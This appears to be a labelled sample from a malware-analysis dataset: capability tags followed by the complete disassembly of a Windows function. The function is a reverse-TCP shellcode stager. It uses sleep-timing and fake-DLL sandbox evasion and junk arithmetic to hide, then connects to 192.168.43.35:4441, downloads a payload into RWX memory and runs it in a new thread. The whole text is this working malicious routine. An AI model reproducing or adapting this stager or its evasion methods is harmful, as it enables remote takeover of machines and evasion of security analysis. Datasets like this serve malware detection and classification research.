Function at 0x140001530
Capabilities:
Act as tcp client
Allocate or change rwx memory
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create thread
Create udp socket
Execute shellcode via indirect call
Initialize winsock library
Link many functions at runtime
Receive data
Receive data on socket
Resolve dns
Spawn thread to rwx shellcode

Disassembly:
push rbp
sub rsp, 0x3d0
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x340], xmm6
mov dword [rbp + 0x360], ecx
mov qword [rbp + 0x368], rdx
call dbg.__main
mov r8d, 4
mov edx, 0
mov ecx, 0x1f0fff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x2c8], rax
cmp qword [rbp + 0x2c8], 0
jne 0x140002716
mov dword [rbp + 0x2c4], 0x23f
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x2b8], rax
mov rax, qword [rbp + 0x2b8]
call rax
mov dword [rbp + 0x2b4], eax
mov eax, dword [rbp + 0x2c4]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x2b8]
call rax
mov dword [rbp + 0x2b0], eax
mov eax, dword [rbp + 0x2b0]
sub eax, dword [rbp + 0x2b4]
cmp eax, 0x20d
jbe 0x140002716
mov qword [rbp + 0x338], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x2a8], rax
cmp qword [rbp + 0x2a8], 0
je 0x140001699
mov rax, qword [rbp + 0x2a8]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x2a0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x2a0]
mov r9d, 0x3000
mov r8d, 0x279
mov edx, 0
call rax
mov qword [rbp + 0x338], rax
cmp qword [rbp + 0x338], 0
je 0x140002716
mov dword [rbp + 0x29c], 0x3e8
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x290], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x288], rax
mov rax, qword [rbp + 0x288]
call rax
mov dword [rbp + 0x284], eax
mov eax, dword [rbp + 0x29c]
mov r8, qword [rbp + 0x290]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x288]
call rax
mov dword [rbp + 0x280], eax
mov eax, dword [rbp + 0x280]
sub eax, dword [rbp + 0x284]
cmp eax, 0x3b6
jbe 0x140002716
mov qword [rbp + 0x278], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x270], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x270]
mov r9d, 0x3000
mov r8d, 0x2f9
mov edx, 0
call rax
mov qword [rbp + 0x278], rax
cmp qword [rbp + 0x278], 0
je 0x140002716
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x268], rax
mov rax, qword [rbp + 0x268]
call rax
mov dword [rbp + 0x264], eax
mov ecx, 0x39c
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x268]
call rax
mov dword [rbp + 0x260], eax
mov eax, dword [rbp + 0x260]
sub eax, dword [rbp + 0x264]
cmp eax, 0x36a
jbe 0x140002716
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x258], rax
cmp qword [rbp + 0x258], 0
je 0x140002716
mov rax, qword [rbp + 0x258]
mov edx, 0x573
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x254], eax
lea rax, str.bfesmcqsvucx.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x248], rax
cmp qword [rbp + 0x248], 0
jne 0x140002716
lea rax, str.pmkqfkjswyocs.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x240], rax
cmp qword [rbp + 0x240], 0
jne 0x140002716
mov qword [rbp + 0x238], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x230], rax
mov rax, qword [rbp + 0x230]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x1b8e680
mov ecx, 0
call rax
mov qword [rbp + 0x238], rax
cmp qword [rbp + 0x238], 0
je 0x140002716
mov rax, qword [rbp + 0x238]
mov edx, 0x1b8e680
mov rcx, rax
call dbg.RtlSecureZeroMemory
mov rax, qword [rbp + 0x238]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov word [rbp + 0x22e], 0x202
movzx eax, word [rbp + 0x22e]
lea rdx, [rbp - 0x50]
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
test eax, eax
jns 0x1400019cf
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov ecx, 1
call sym.exit
movsd xmm0, qword [0x140006078]
movsd qword [rbp + 0x330], xmm0
movsd xmm0, qword [0x140006080]
movsd qword [rbp + 0x220], xmm0
jmp 0x140001a1a
movsd xmm0, qword [rbp + 0x220]
mov rax, qword [rbp + 0x330]
movupd xmm1, xmm0
movq xmm0, rax
call dbg.pow
movq rax, xmm0
mov qword [rbp + 0x330], rax
movsd xmm0, qword [0x140006088]
comisd xmm0, xmmword [rbp + 0x330]
ja 0x1400019f1
mov ecx, 0xc64
call sym.malloc
mov qword [rbp + 0x218], rax
mov dword [rbp + 0x328], 0
mov dword [rbp + 0x324], 0
mov dword [rbp + 0x32c], 0
jmp 0x140001b03
call sym.rand
mov edx, dword [rbp + 0x32c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x218]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x32c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x218]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
je 0x140001ad2
add dword [rbp + 0x328], 1
jmp 0x140001afc
mov eax, dword [rbp + 0x32c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x218]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
jne 0x140001afc
add dword [rbp + 0x324], 1
add dword [rbp + 0x32c], 1
cmp dword [rbp + 0x32c], 0x318
jle 0x140001a60
mov rax, qword [rbp + 0x218]
mov rcx, rax
call sym.free
mov r8d, 0
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov qword [rbp + 0x158], rax
mov rax, qword [rbp + 0x158]
cmp rax, 0xffffffffffffffff
jne 0x140001b75
mov rax, qword [rbp + 0x158]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov ecx, 1
call sym.exit
lea rax, str.192.168.43.35
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_gethostbyname]
call rax
mov qword [rbp + 0x210], rax
cmp qword [rbp + 0x210], 0
jne 0x140001bbf
mov rax, qword [rbp + 0x158]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov ecx, 1
call sym.exit
mov ecx, 0x58c
call sym.malloc
mov qword [rbp + 0x208], rax
mov dword [rbp + 0x31c], 0
mov dword [rbp + 0x318], 0
mov dword [rbp + 0x320], 0
jmp 0x140001c3c
call sym.rand
mov edx, dword [rbp + 0x320]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x208]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x23
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x320], 1
cmp dword [rbp + 0x320], 0x162
jle 0x140001bf0
mov dword [rbp + 0x320], 0
jmp 0x140001c7d
mov eax, dword [rbp + 0x320]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x208]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x31c], eax
add dword [rbp + 0x320], 1
cmp dword [rbp + 0x320], 0x162
jle 0x140001c54
mov dword [rbp + 0x320], 0
jmp 0x140001d05
pxor xmm6, xmm6
cvtsi2sd xmm6, dword [rbp + 0x318]
mov eax, dword [rbp + 0x320]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x208]
add rax, rdx
mov eax, dword [rax]
pxor xmm0, xmm0
cvtsi2ss xmm0, eax
subss xmm0, dword [rbp + 0x180]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm0
movq rax, xmm3
movsd xmm0, qword [0x140006090]
movupd xmm1, xmm0
movq xmm0, rax
call dbg.pow
addsd xmm0, xmm6
cvttsd2si eax, xmm0
mov dword [rbp + 0x318], eax
add dword [rbp + 0x320], 1
cmp dword [rbp + 0x320], 0x162
jle 0x140001c95
pxor xmm0, xmm0
cvtsi2ss xmm0, dword [rbp + 0x318]
movss xmm1, dword [0x140006098]
divss xmm0, xmm1
movss dword [rbp + 0x204], xmm0
pxor xmm4, xmm4
cvtss2sd xmm4, dword [rbp + 0x204]
movq rax, xmm4
movq xmm0, rax
call dbg.sqrt
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x200], xmm0
mov rax, qword [rbp + 0x208]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x210]
movzx eax, word [rax + 0x12]
movsx r8, ax
mov rax, qword [rbp + 0x210]
mov rax, qword [rax + 0x18]
mov rax, qword [rax]
lea rdx, [rbp + 0x160]
lea rcx, [rdx + 4]
mov rdx, rax
call sym.memcpy
mov word [rbp + 0x160], 2
mov ecx, 0x1159
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp + 0x162], ax
mov ecx, 0x1090
call sym.malloc
mov qword [rbp + 0x1f8], rax
mov dword [rbp + 0x314], 0
jmp 0x140001e20
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400060a0]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x314]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1f8]
add rax, rdx
movsd xmm1, qword [0x1400060a8]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x314], 1
cmp dword [rbp + 0x314], 0x211
jle 0x140001dd2
mov dword [rbp + 0x314], 0
jmp 0x140001e87
mov eax, dword [rbp + 0x314]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1f8]
add rax, rdx
movsd xmm0, qword [rax]
mov eax, dword [rbp + 0x314]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1f8]
add rax, rdx
movq xmm1, qword [0x1400060b0]
andpd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x314], 1
cmp dword [rbp + 0x314], 0x211
jle 0x140001e38
mov rax, qword [rbp + 0x158]
lea rdx, [rbp + 0x160]
mov r8d, 0x10
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
test eax, eax
je 0x140001edd
mov rax, qword [rbp + 0x158]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov ecx, 1
call sym.exit
mov rax, qword [rbp + 0x158]
lea rdx, [rbp + 0x178]
mov r9d, 0
mov r8d, 4
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
mov dword [rbp + 0x1f4], eax
pxor xmm0, xmm0
movss dword [rbp + 0x30c], xmm0
mov dword [rbp + 0x310], 0
jmp 0x140001f9a
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x310]
movsd xmm0, qword [0x1400060a8]
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movups xmm1, xmm0
mov eax, dword [0x1400060c0]
movd xmm0, eax
call dbg.powf
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
pxor xmm0, xmm0
cvtsi2sd xmm0, dword [rbp + 0x310]
addsd xmm0, xmm0
movsd xmm2, qword [0x1400060a8]
subsd xmm0, xmm2
divsd xmm1, xmm0
pxor xmm0, xmm0
cvtss2sd xmm0, dword [rbp + 0x30c]
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x30c], xmm0
add dword [rbp + 0x310], 1
cmp dword [rbp + 0x310], 0x375
jle 0x140001f21
movss xmm1, dword [rbp + 0x30c]
movss xmm0, dword [0x1400060c4]
mulss xmm0, xmm1
movss dword [rbp + 0x30c], xmm0
cmp dword [rbp + 0x1f4], 4
jne 0x140001fdb
mov rax, qword [rbp + 0x178]
test rax, rax
jne 0x140002001
mov rax, qword [rbp + 0x158]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov ecx, 1
call sym.exit
mov rax, qword [rbp + 0x178]
add rax, 0xa
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x1e8], rax
mov rax, qword [rbp + 0x1e8]
mov byte [rax], 0x48
mov ecx, 0x938
call sym.malloc
mov qword [rbp + 0x1e0], rax
mov dword [rbp + 0x304], 0
mov dword [rbp + 0x300], 0
mov dword [rbp + 0x308], 0
jmp 0x1400020b7
call sym.rand
mov edx, dword [rbp + 0x308]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x1e0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x23
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x308], 1
cmp dword [rbp + 0x308], 0x24d
jle 0x14000206b
mov dword [rbp + 0x308], 0
jmp 0x1400020f8
mov eax, dword [rbp + 0x308]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1e0]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x304], eax
add dword [rbp + 0x308], 1
cmp dword [rbp + 0x308], 0x24d
jle 0x1400020cf
mov dword [rbp + 0x308], 0
jmp 0x140002180
pxor xmm6, xmm6
cvtsi2sd xmm6, dword [rbp + 0x300]
mov eax, dword [rbp + 0x308]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1e0]
add rax, rdx
mov eax, dword [rax]
pxor xmm0, xmm0
cvtsi2ss xmm0, eax
subss xmm0, dword [rbp + 0x184]
pxor xmm5, xmm5
cvtss2sd xmm5, xmm0
movq rax, xmm5
movsd xmm0, qword [0x140006090]
movupd xmm1, xmm0
movq xmm0, rax
call dbg.pow
addsd xmm0, xmm6
cvttsd2si eax, xmm0
mov dword [rbp + 0x300], eax
add dword [rbp + 0x308], 1
cmp dword [rbp + 0x308], 0x24d
jle 0x140002110
pxor xmm0, xmm0
cvtsi2ss xmm0, dword [rbp + 0x300]
movss xmm1, dword [0x1400060c8]
divss xmm0, xmm1
movss dword [rbp + 0x1dc], xmm0
pxor xmm2, xmm2
cvtss2sd xmm2, dword [rbp + 0x1dc]
movq rax, xmm2
movq xmm0, rax
call dbg.sqrt
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x1d8], xmm0
mov rax, qword [rbp + 0x1e0]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x1e8]
add rax, 1
mov byte [rax], 0xbf
mov rax, qword [rbp + 0x1e8]
lea rdx, [rax + 2]
mov eax, dword [rbp + 0x158]
mov dword [rdx], eax
mov dword [rbp + 0x2fc], 0
jmp 0x140002251
call sym.rand
mov edx, eax
shl edx, 3
sub edx, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, edx
movsd xmm1, qword [0x1400060a0]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call dbg.exp
movq rax, xmm0
mov qword [rbp + 0x188], rax
add dword [rbp + 0x2fc], 1
cmp dword [rbp + 0x2fc], 0x345
jle 0x14000220f
mov dword [rbp + 0x1d4], 0
mov dword [rbp + 0x2f8], 0
mov rax, qword [rbp + 0x1e8]
add rax, 0xa
mov qword [rbp + 0x2f0], rax
jmp 0x14000250c
mov rax, qword [rbp + 0x178]
mov edx, eax
mov eax, dword [rbp + 0x2f8]
sub edx, eax
mov ecx, edx
mov rax, qword [rbp + 0x158]
mov rdx, qword [rbp + 0x2f0]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
mov dword [rbp + 0x1d4], eax
mov dword [rbp + 0x2ec], 0
jmp 0x14000232d
call sym.rand
mov edx, eax
mov eax, edx
sar eax, 0x1f
shr eax, 0x1b
add edx, eax
and edx, 0x1f
sub edx, eax
mov dword [rbp + 0x198], edx
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400060a0]
divsd xmm0, xmm1
movq rax, xmm0
mov edx, dword [rbp + 0x198]
movq xmm0, rax
call dbg.ldexp
movq rax, xmm0
mov qword [rbp + 0x190], rax
add dword [rbp + 0x2ec], 1
cmp dword [rbp + 0x2ec], 0xaf
jle 0x1400022d0
mov eax, dword [rbp + 0x1d4]
cdqe
add qword [rbp + 0x2f0], rax
mov eax, dword [rbp + 0x1d4]
add dword [rbp + 0x2f8], eax
mov dword [rbp + 0x2e8], 0
mov dword [rbp + 0x2e4], 0
mov ecx, 0xa80
call sym.malloc
mov qword [rbp + 0x1a8], rax
mov dword [rbp + 0x2e0], 0
jmp 0x1400023f3
call sym.rand
mov edx, dword [rbp + 0x2e0]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x1a8]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x23
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x2e0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1a8]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x2e8], eax
add dword [rbp + 0x2e0], 1
cmp dword [rbp + 0x2e0], 0x29f
jle 0x140002385
mov dword [rbp + 0x2e0], 0
jmp 0x14000247b
pxor xmm6, xmm6
cvtsi2sd xmm6, dword [rbp + 0x2e4]
mov eax, dword [rbp + 0x2e0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1a8]
add rax, rdx
mov eax, dword [rax]
pxor xmm0, xmm0
cvtsi2ss xmm0, eax
subss xmm0, dword [rbp + 0x19c]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm0
movq rax, xmm3
movsd xmm0, qword [0x140006090]
movupd xmm1, xmm0
movq xmm0, rax
call dbg.pow
addsd xmm0, xmm6
cvttsd2si eax, xmm0
mov dword [rbp + 0x2e4], eax
add dword [rbp + 0x2e0], 1
cmp dword [rbp + 0x2e0], 0x29f
jle 0x14000240b
pxor xmm0, xmm0
cvtsi2ss xmm0, dword [rbp + 0x2e4]
movss xmm1, dword [0x1400060cc]
divss xmm0, xmm1
movss dword [rbp + 0x1a4], xmm0
pxor xmm4, xmm4
cvtss2sd xmm4, dword [rbp + 0x1a4]
movq rax, xmm4
movq xmm0, rax
call dbg.sqrt
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x1a0], xmm0
mov rax, qword [rbp + 0x1a8]
mov rcx, rax
call sym.free
cmp dword [rbp + 0x1d4], 0xffffffff
jne 0x14000250c
mov rax, qword [rbp + 0x158]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov ecx, 1
call sym.exit
mov eax, dword [rbp + 0x2f8]
movsxd rdx, eax
mov rax, qword [rbp + 0x178]
cmp rdx, rax
jb 0x140002288
mov dword [rbp + 0x2dc], 0
mov dword [rbp + 0x2d8], 0
mov ecx, 0xb5c
call sym.malloc
mov qword [rbp + 0x1c8], rax
mov dword [rbp + 0x2d4], 0
jmp 0x1400025c4
call sym.rand
mov edx, dword [rbp + 0x2d4]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x1c8]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x23
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x2d4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1c8]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x2dc], eax
add dword [rbp + 0x2d4], 1
cmp dword [rbp + 0x2d4], 0x2d6
jle 0x140002556
mov dword [rbp + 0x2d4], 0
jmp 0x14000264c
pxor xmm6, xmm6
cvtsi2sd xmm6, dword [rbp + 0x2d8]
mov eax, dword [rbp + 0x2d4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1c8]
add rax, rdx
mov eax, dword [rax]
pxor xmm0, xmm0
cvtsi2ss xmm0, eax
subss xmm0, dword [rbp + 0x1b0]
pxor xmm5, xmm5
cvtss2sd xmm5, xmm0
movq rax, xmm5
movsd xmm0, qword [0x140006090]
movupd xmm1, xmm0
movq xmm0, rax
call dbg.pow
addsd xmm0, xmm6
cvttsd2si eax, xmm0
mov dword [rbp + 0x2d8], eax
add dword [rbp + 0x2d4], 1
cmp dword [rbp + 0x2d4], 0x2d6
jle 0x1400025dc
pxor xmm0, xmm0
cvtsi2ss xmm0, dword [rbp + 0x2d8]
movss xmm1, dword [0x1400060d0]
divss xmm0, xmm1
movss dword [rbp + 0x1c4], xmm0
pxor xmm2, xmm2
cvtss2sd xmm2, dword [rbp + 0x1c4]
movq rax, xmm2
movq xmm0, rax
call dbg.sqrt
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x1c0], xmm0
mov rax, qword [rbp + 0x1c8]
mov rcx, rax
call sym.free
mov eax, dword [rbp + 0x2f8]
mov dword [rbp + 0x1f4], eax
mov rdx, qword [rbp + 0x1e8]
lea rax, [rbp + 0x154]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8, rdx
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp + 0x1b8], rax
mov rax, qword [rbp + 0x1b8]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x1b4], eax
mov eax, 0
movups xmm6, xmmword [rbp + 0x340]
add rsp, 0x3d0
pop rbp
ret